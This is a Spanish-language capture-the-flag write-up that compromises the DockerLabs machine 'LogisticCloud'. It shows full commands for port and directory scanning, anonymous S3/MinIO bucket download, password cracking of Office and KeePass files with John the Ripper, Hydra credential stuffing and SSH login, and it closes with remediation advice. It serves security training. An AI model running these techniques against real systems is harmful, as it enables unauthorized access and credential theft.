Ir al contenido

LogisticCloud

Este documento detalla la metodología y procedimiento completo para comprometer la máquina LogisticCloud, desarrollada por d1se0 para DockerLabs y clasificada con dificultad Media. Esta máquina presenta un escenario realista de infraestructura cloud donde un bucket S3 mal configurado permite el descubrimiento de credenciales que conducen a acceso completo del sistema.

La resolución sigue una metodología estructurada:

  1. Reconocimiento: Enumeración de servicios y descubrimiento de bucket S3 expuesto.
  2. Explotación: Descarga y análisis de archivos encriptados, extracción de credenciales y ataque a panel de login.
  3. Escalada de privilegios: Descubrimiento de archivo KeePass y extracción de credenciales root.

El entorno de prueba fue desplegado localmente mediante DockerLabs, simulando vulnerabilidades comunes en implementaciones cloud.


AtributoValor
NombreLogisticCloud
Autord1se0
DificultadMedio
Fecha17/10/2025
PlataformaDockerLabs
IP Objetivo172.17.0.2

Descomprimimos el archivo de la máquina y lo desplegamos:

Ventana de terminal
unzip LogisticCloud.zip
sudo bash auto_deploy.sh LogisticCloud.tar

IP asignada

Figura 1: Dirección IP asignada al contenedor

Creamos una estructura organizada para documentar el proceso:

Ventana de terminal
mkdir -p LogisticCloud/{content,exploits,nmap,gobuster,scripts}
cd LogisticCloud

Ejecutamos un escaneo TCP SYN para identificar servicios expuestos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Resultados:

  • 22/tcp — SSH (Secure Shell)
  • 80/tcp — HTTP (Web Server - Panel de Login)
  • 9000/tcp — HTTP (MinIO/S3 Compatible Service)
  • 9001/tcp — HTTP (Consola MinIO)

Puertos abiertos

Figura 2: Servicios expuestos incluyendo endpoint S3

Realizamos un escaneo de directorios:

Ventana de terminal
feroxbuster -u http://172.17.0.2 -d 0 \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-x php,txt,html,js,bak,old \
-t 40 \
-C 404,403

Escaneo puerto 80

Figura 3: Resultados del escaneo en puerto 80

  1. /index.php — Panel de autenticación Panel de login Figura 4: Portal de login corporativo

  2. /note.txt — Nota informativa

    Ventana de terminal
    curl -s http://172.17.0.2/note.txt

    Contenido: Menciona endpoint /backup.xlsx

  3. Análisis del Formulario de Login: Inspeccionando el código HTML del formulario: Input oculto Figura 5: Campo oculto revelando bucket S3

    Hallazgo crítico: El formulario contiene un campo oculto con name="bucket" y valor "huguelogistics-data", indicando integración con servicio S3.

Los puertos 9000 y 9001 son típicos de MinIO (servicio S3 compatible). El bucket mencionado sugiere que el backend utiliza este servicio.


Utilizamos la CLI de AWS para interactuar con el endpoint S3:

Ventana de terminal
# Verificamos conectividad con el endpoint
curl -s http://172.17.0.2:9000/minio/health/live
# Obtenemos política del bucket
aws --no-sign-request --endpoint-url http://172.17.0.2:9000 \
s3api get-bucket-policy \
--bucket huguelogistics-data

Política del bucket

Figura 6: Política que permite acceso público de lectura

Análisis de la política: El bucket tiene configuración Allow para s3:GetObject, permitiendo descarga pública de objetos.

Descargamos todo el contenido del bucket:

Ventana de terminal
aws --no-sign-request --endpoint-url http://172.17.0.2:9000 \
s3 sync s3://huguelogistics-data/ . \
--no-progress

Archivo descargado: backup.xlsx

Verificamos el tipo de encriptación:

Ventana de terminal
file backup.xlsx
exiftool backup.xlsx | grep -i "encrypt\|protect"

Hallazgo: El archivo está encriptado con CDFV2 Encryption (estándar de Microsoft Office).

Extraemos el hash y utilizamos John the Ripper:

Ventana de terminal
# Extraemos hash de Office
office2john backup.xlsx > office_hash.txt
# Ataque de fuerza bruta
john --wordlist=/usr/share/wordlists/rockyou.txt office_hash.txt

Resultado de John

Figura 7: Contraseña del Excel crackeada

Contraseña obtenida: launcher

Utilizamos msoffcrypto-tool para desencriptar:

Ventana de terminal
msoffcrypto-tool backup.xlsx decrypted.xlsx -p "launcher"

Convertimos a CSV para facilitar el análisis:

Ventana de terminal
xlsx2csv decrypted.xlsx decrypted.csv
# Examinamos estructura
head -5 decrypted.csv

Estructura identificada: ID,Nombre Completo,Correo,Departamento,Rol,Usuario,Contraseña,Teléfono,Ciudad,Fecha de Ingreso

Extraemos usuario:contraseña del archivo:

Ventana de terminal
# Extraemos columnas 6 y 7 (Usuario y Contraseña)
awk -F',' '{print $6 ":" $7}' decrypted.csv | \
grep -v "Usuario:Contraseña" | \
sort -u > credentials.txt
# Verificamos cantidad
wc -l credentials.txt
head credentials.txt

Utilizamos Hydra para probar las credenciales extraídas:

Ventana de terminal
hydra -C credentials.txt 172.17.0.2 http-post-form \
"/index.php:bucket=huguelogistics-data&username=^USER^&password=^PASS^:Credenciales incorrectas" \
-I -f -t 64

Resultado de Hydra

Figura 8: Credenciales válidas encontradas

Credenciales válidas: amador.vilanova.mármol:ricard88

Accedemos al portal con las credenciales válidas:

  1. Usuario: amador.vilanova.mármol
  2. Contraseña: ricard88

El dashboard muestra información similar al Excel, incluyendo detalles de empleados con rol “Jefe de área”.

Revisando información de usuarios con rol “Jefe de área”, encontramos credenciales en la sección “Bandeja de Entrada” para prudencia-de-ferrera:

Credenciales SSH en dashboard

Figura 9: Credenciales SSH descubiertas en el dashboard

Nos conectamos mediante SSH:

Ventana de terminal
ssh prudencia-de-ferrera@172.17.0.2
# Contraseña: [obtenida del dashboard]

Conexión SSH exitosa

Figura 10: Acceso SSH como prudencia-de-ferrera


Comenzamos la enumeración post-explotación:

Ventana de terminal
whoami
id
pwd
ls -la

Durante la enumeración, encontramos un archivo interesante:

Ventana de terminal
find / -name "*.kdb*" -type f 2>/dev/null

Hallazgo: /etc/keepass/credentialsDatabase.kdb

Archivo KeePass

Figura 11: Archivo de base de datos KeePass encontrado

Transferimos el archivo a nuestra máquina para análisis:

En la máquina objetivo:

Ventana de terminal
python3 -m http.server 8000

En la máquina atacante:

Ventana de terminal
wget http://172.17.0.2:8000/credentialsDatabase.kdb

Extraemos el hash y utilizamos John the Ripper:

Ventana de terminal
keepass2john credentialsDatabase.kdb > keepass_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt keepass_hash.txt

Resultado de John para KeePass

Figura 12: Contraseña de KeePass crackeada

Contraseña obtenida: princess

Probamos la contraseña obtenida para el usuario root:

Ventana de terminal
su root
# Contraseña: princess

Acceso root exitoso

Figura 13: Shell como usuario root

Ventana de terminal
id
whoami
cat /etc/shadow | head -1

VulnerabilidadSeveridadImpactoCWE/Referencia
Bucket S3 con acceso público de lecturaCríticaExposición de datos sensiblesCWE-284
Archivos Excel con contraseñas débilesAltaAcceso a información sensibleCWE-521
Contraseñas almacenadas en texto planoCríticaExposición de credencialesCWE-312
Bucket S3 mencionado en código clienteMediaDescubrimiento de infraestructuraCWE-200
KeePass con contraseña débilCríticaEscalada a rootCWE-521
Reutilización de contraseñas entre sistemasAltaEscalada lateral y verticalCWE-308
  1. Configuración Segura de Buckets S3/MinIO:

    • Implementar el principio de mínimo privilegio
    • Evitar políticas que permitan s3:GetObject público
    • Utilizar presigned URLs para acceso temporal
    • Habilitar logging y monitoreo de acceso
    // POLÍTICA SEGURA EJEMPLO
    {
    "Version": "2012-10-17",
    "Statement": [
    {
    "Effect": "Deny",
    "Principal": "*",
    "Action": "s3:*",
    "Resource": "arn:aws:s3:::bucket-name/*",
    "Condition": {"Bool": {"aws:SecureTransport": false}}
    }
    ]
    }
  2. Protección de Archivos Sensibles:

    • Utilizar cifrado fuerte para archivos confidenciales
    • Implementar contraseñas complejas (mínimo 16 caracteres)
    • Considerar cifrado a nivel de archivo y disco
    • Utilizar soluciones de gestión de secretos
    Ventana de terminal
    # Ejemplo de cifrado fuerte con GPG
    gpg --symmetric --cipher-algo AES256 backup.xlsx
  3. Gestión de Credenciales:

    • Implementar sistema centralizado de gestión de secretos
    • Evitar almacenar credenciales en texto plano
    • Utilizar autenticación multifactor
    • Rotar credenciales regularmente
    Ventana de terminal
    # Usar variables de entorno o sistemas como Vault
    export DB_PASSWORD=$(vault read -field=password secret/database)
  4. Protección de Archivos KeePass/Password Managers:

    • Utilizar contraseñas maestras complejas
    • Implementar key files adicionales
    • Configurar auto-cerrado después de inactividad
    • Realizar backups cifrados
    Ventana de terminal
    # Crear base de datos KeePass segura
    keepassxc-cli db-create database.kdbx \
    --set-password --set-key-file=/path/to/keyfile
  5. Seguridad en Desarrollo Web:

    • No exponer información de infraestructura en código cliente
    • Implementar validación de entrada robusta
    • Utilizar parámetros seguros para integraciones cloud
    • Realizar code reviews de seguridad
    // INCORRECTO: Bucket hardcodeado en HTML
    <input type="hidden" name="bucket" value="huguelogistics-data">
    // CORRECTO: Obtener de configuración segura
    $bucket = getenv('S3_BUCKET_NAME');
  6. Monitoreo y Detección:

    • Implementar alertas para descargas masivas de S3
    • Monitorear intentos de fuerza bruta en paneles de login
    • Configurar detección de anomalías en accesos
    • Realizar auditorías de permisos regularmente
    Ventana de terminal
    # Configurar CloudTrail/Alerts para S3
    aws cloudtrail put-event-selectors \
    --trail-name my-trail \
    --event-selectors '[{
    "ReadWriteType": "All",
    "IncludeManagementEvents": true,
    "DataResources": [{
    "Type": "AWS::S3::Object",
    "Values": ["arn:aws:s3:::my-bucket/"]
    }]
    }]'
  7. Concienciación y Capacitación:

    • Capacitar en seguridad cloud (S3, IAM)
    • Establecer políticas de manejo de datos sensibles
    • Realizar ejercicios de respuesta a incidentes
    • Implementar programas de seguridad para desarrolladores